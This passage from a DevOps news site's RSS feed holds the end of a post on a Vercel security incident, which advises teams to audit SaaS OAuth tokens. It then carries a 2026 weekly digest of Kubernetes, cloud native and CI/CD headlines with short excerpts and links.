<p>If you use <a href="https://vercel.com">Vercel</a> or any serverless platform, your risk surface now includes every SaaS app every employee has ever signed into with their Google account. That is a very large surface. Auditing it, scoping it down, and alerting on unusual token activity is the only defense. Waiting for the vendor to disclose is not a strategy.</p>
<p>If you want to dig deeper into secure DevOps practices, our <a href="/checklists">security checklists</a> cover the full lifecycle from config to runtime, and our <a href="/roadmap/devsecops">DevSecOps roadmap</a> lays out the skills to build a team that catches this class of attack early.</p>
<hr>
<p>Have questions about this incident or want to share how your team responded? Reply on <a href="https://x.com/thedevopsdaily">X</a> or <a href="https://www.linkedin.com/company/thedevopsdaily">LinkedIn</a>. We update this post as Vercel releases new details.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 17, 2026]]></title>
      <link>https://devops.anhp.site/news/2026-week-17</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/news/2026-week-17</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by be4n</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-introducing-the-ai-native-platform-engineering-stack-wso2-and-suse-unite-to-close-the-developer-experience-gap-on-kubernetes" class="group relative scroll-mt-24">
        <a href="#h3-introducing-the-ai-native-platform-engineering-stack-wso2-and-suse-unite-to-close-the-developer-experience-gap-on-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing the AI-Native Platform Engineering Stack: WSO2 and SUSE Unite to Close the Developer Experience Gap on Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-the-ai-native-platform-engineering-stack-wso2-and-suse-unite-to-close-the-developer-experience-gap-on-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A complete, open-source developer platform meets enterprise Kubernetes, delivering golden paths, AI-native operations, and production-grade governance from Day 1. Co-authored by Kristian Gyorkos, SVP </p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/introducing-the-ai-native-platform-engineering-stack-wso2-and-suse-unite-to-close-the-developer-experience-gap-on-kubernetes/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-k3s-on-on-prem-infrastructures-the-gitops-way-writing-a-custom-k0rdent-template-from-scratch" class="group relative scroll-mt-24">
        <a href="#h3-k3s-on-on-prem-infrastructures-the-gitops-way-writing-a-custom-k0rdent-template-from-scratch" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 K3s on On-Prem Infrastructures the GitOps Way: Writing a Custom k0rdent Template from Scratch
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-k3s-on-on-prem-infrastructures-the-gitops-way-writing-a-custom-k0rdent-template-from-scratch"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kubernetes turns 12 this year. In that time, it’s gone from a Google side project to the operating system of modern infrastructure running everywhere from mainframes to GPUs, across multi-cloud, hybri</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/17/k3s-on-on-prem-infrastructures-the-gitops-way-writing-a-custom-k0rdent-template-from-scratch/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-confidential-containers-workshop-on-microsoft-azure-red-hat-openshift-learn-interactively" class="group relative scroll-mt-24">
        <a href="#h3-confidential-containers-workshop-on-microsoft-azure-red-hat-openshift-learn-interactively" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Confidential Containers workshop on Microsoft Azure Red Hat OpenShift: Learn interactively
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-confidential-containers-workshop-on-microsoft-azure-red-hat-openshift-learn-interactively"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Confidential computing is a complex topic, and often requires a deep understanding of hardware, kernel, and orchestration layers. The generic definition is &quot;protecting data in use,&quot; but it&#39;s more than</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/confidential-containers-workshop-microsoft-azure-red-hat-openshift-learn-interactively"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-meet-the-latest-red-hat-openshift-superheroes" class="group relative scroll-mt-24">
        <a href="#h3-meet-the-latest-red-hat-openshift-superheroes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Meet the latest Red Hat OpenShift Superheroes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-meet-the-latest-red-hat-openshift-superheroes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Earlier this month at Red Hat OpenShift Commons in Amsterdam, co-located with KubeCon + CloudNativeConEU, we celebrated a few Red Hat OpenShift Superheroes. While each member of the Red Hat OpenShift </p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/meet-latest-red-hat-openshift-superheroes-0"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-red-hat-openshift-pipelines-121-faster-builds-smarter-caching-and-improved-troubleshooting" class="group relative scroll-mt-24">
        <a href="#h3-announcing-red-hat-openshift-pipelines-121-faster-builds-smarter-caching-and-improved-troubleshooting" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing Red Hat OpenShift Pipelines 1.21: Faster builds, smarter caching, and improved troubleshooting
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-red-hat-openshift-pipelines-121-faster-builds-smarter-caching-and-improved-troubleshooting"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Red Hat OpenShift Pipelines 1.21 is now available, improving pipeline performance, security capabilities, and troubleshooting for Kubernetes-native continuous integration and delivery (CI/CD) on Red H</p>
<p><strong>📅 Apr 15, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/announcing-red-hat-openshift-pipelines-121-faster-builds-smarter-caching-and-improved-troubleshooting"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-deploying-model-context-protocol-mcp-servers-on-amazon-ecs" class="group relative scroll-mt-24">
        <a href="#h3-deploying-model-context-protocol-mcp-servers-on-amazon-ecs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Deploying Model Context Protocol (MCP) servers on Amazon ECS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-deploying-model-context-protocol-mcp-servers-on-amazon-ecs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we will walk you through a three-tier MCP application deployed entirely on Amazon ECS, using Service Connect for service-to-service communication and Express Mode for automated load bala</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/deploying-model-context-protocol-mcp-servers-on-amazon-ecs/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ingress-nginx-to-envoy-gateway-migration-on-cncf-internal-services-cluster" class="group relative scroll-mt-24">
        <a href="#h3-ingress-nginx-to-envoy-gateway-migration-on-cncf-internal-services-cluster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 ingress-nginx to Envoy Gateway migration on CNCF internal services cluster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ingress-nginx-to-envoy-gateway-migration-on-cncf-internal-services-cluster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>CNCF hosts a Kubernetes cluster to run some services for internal purposes (namely; codimd, GUAC, kcp). The Kubernetes Project announced the ingress-nginx retirement (not to be confused with NGINX or </p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/13/ingress-nginx-to-envoy-gateway-migration-on-cncf-internal-services-cluster/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-amazon-ecr-pull-through-cache-now-supports-referrer-discovery-and-sync" class="group relative scroll-mt-24">
        <a href="#h3-amazon-ecr-pull-through-cache-now-supports-referrer-discovery-and-sync" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon ECR Pull Through Cache Now Supports Referrer Discovery and Sync
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ecr-pull-through-cache-now-supports-referrer-discovery-and-sync"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Elastic Container Registry (Amazon ECR) now automatically discovers and syncs OCI referrers, such as image signatures, SBOMs, and attestations, from upstream registries into your Amazon ECR pri</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-ecr-pull-through-cache-referrers/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-microvms-the-architecture-behind-docker-sandboxes" class="group relative scroll-mt-24">
        <a href="#h3-why-microvms-the-architecture-behind-docker-sandboxes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why MicroVMs: The Architecture Behind Docker Sandboxes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-microvms-the-architecture-behind-docker-sandboxes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Last week, we launched Docker Sandboxes with a bold goal: to deliver the strongest agent isolation in the market. This post unpacks that claim, how microVMs enable it, and some of the architectural ch</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/why-microvms-the-architecture-behind-docker-sandboxes/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-measure-the-roi-of-developer-tools" class="group relative scroll-mt-24">
        <a href="#h3-how-to-measure-the-roi-of-developer-tools" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How To Measure the ROI of Developer Tools
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-measure-the-roi-of-developer-tools"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>There’s been a growing emphasis in the cloud native community on investing in tools that improve developer experience. Platform engineering, accompanied with the rise of projects like Backstage, is al</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/15/how-to-measure-the-roi-of-developer-tools/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-we-chose-the-harder-path-docker-hardened-images-one-year-later" class="group relative scroll-mt-24">
        <a href="#h3-why-we-chose-the-harder-path-docker-hardened-images-one-year-later" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why We Chose the Harder Path: Docker Hardened Images, One Year Later
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-we-chose-the-harder-path-docker-hardened-images-one-year-later"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We&#39;re coming up on a year since launching Docker Hardened Images (DHI) last May, and crossing a milestone earlier this month made me stop and reflect on what we&#39;ve actually been building. Earlier this</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/why-we-chose-the-harder-path-docker-hardened-images-one-year-later/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-analyze-hugging-face-for-arm64-readiness" class="group relative scroll-mt-24">
        <a href="#h3-how-to-analyze-hugging-face-for-arm64-readiness" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Analyze Hugging Face for Arm64 Readiness
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-analyze-hugging-face-for-arm64-readiness"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This post is a collaboration between Docker and Arm, demonstrating how Docker MCP Toolkit and the Arm MCP Server work together to scan Hugging Face Spaces for Arm64 Readiness. In our previous post, we</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/how-to-analyze-hugging-face-for-arm64-readiness/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-experimentation-starts-with-engineering" class="group relative scroll-mt-24">
        <a href="#h3-experimentation-starts-with-engineering" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Experimentation starts with engineering
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-experimentation-starts-with-engineering"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Why unifying feature delivery and experimentation is essential.</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/experimentation-starts-with-engineering/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-live-demo-guarded-releases-in-action" class="group relative scroll-mt-24">
        <a href="#h3-live-demo-guarded-releases-in-action" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Live demo: Guarded Releases in action
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-live-demo-guarded-releases-in-action"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>See a walk-through of how to get started with Guarded Releases.</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/live-demo-guarded-releases-in-action/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-ai-experiments-and-ai-versioning" class="group relative scroll-mt-24">
        <a href="#h3-introducing-ai-experiments-and-ai-versioning" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing AI Experiments and AI Versioning
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-ai-experiments-and-ai-versioning"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Test, optimize, and manage AI Configs to accelerate AI app development</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/introducing-ai-experiments-and-ai-versioning/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitea-1260-is-released" class="group relative scroll-mt-24">
        <a href="#h3-gitea-1260-is-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Gitea 1.26.0 is released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitea-1260-is-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are thrilled to announce the latest release of Gitea v1.26.0.</p>
<p><strong>📅 Apr 18, 2026</strong> • <strong>📰 Gitea Blog</strong></p>
<p><a href="https://blog.gitea.com/release-of-1.26.0"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-feature-testing-the-complete-guide-for-modern-devops-teams" class="group relative scroll-mt-24">
        <a href="#h3-feature-testing-the-complete-guide-for-modern-devops-teams" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Feature Testing: The Complete Guide for Modern DevOps Teams
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-feature-testing-the-complete-guide-for-modern-devops-teams"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how feature testing helps DevOps teams deploy safer, faster releases. Use AI-powered guardrails and automated rollbacks. Try now! | Blog</p>
<p><strong>📅 Apr 18, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/the-complete-guide-to-feature-testing-for-modern-devops-teams"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-an-emoji-list-generator-with-the-github-copilot-cli" class="group relative scroll-mt-24">
        <a href="#h3-building-an-emoji-list-generator-with-the-github-copilot-cli" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building an emoji list generator with the GitHub Copilot CLI
        </a>
        <button 
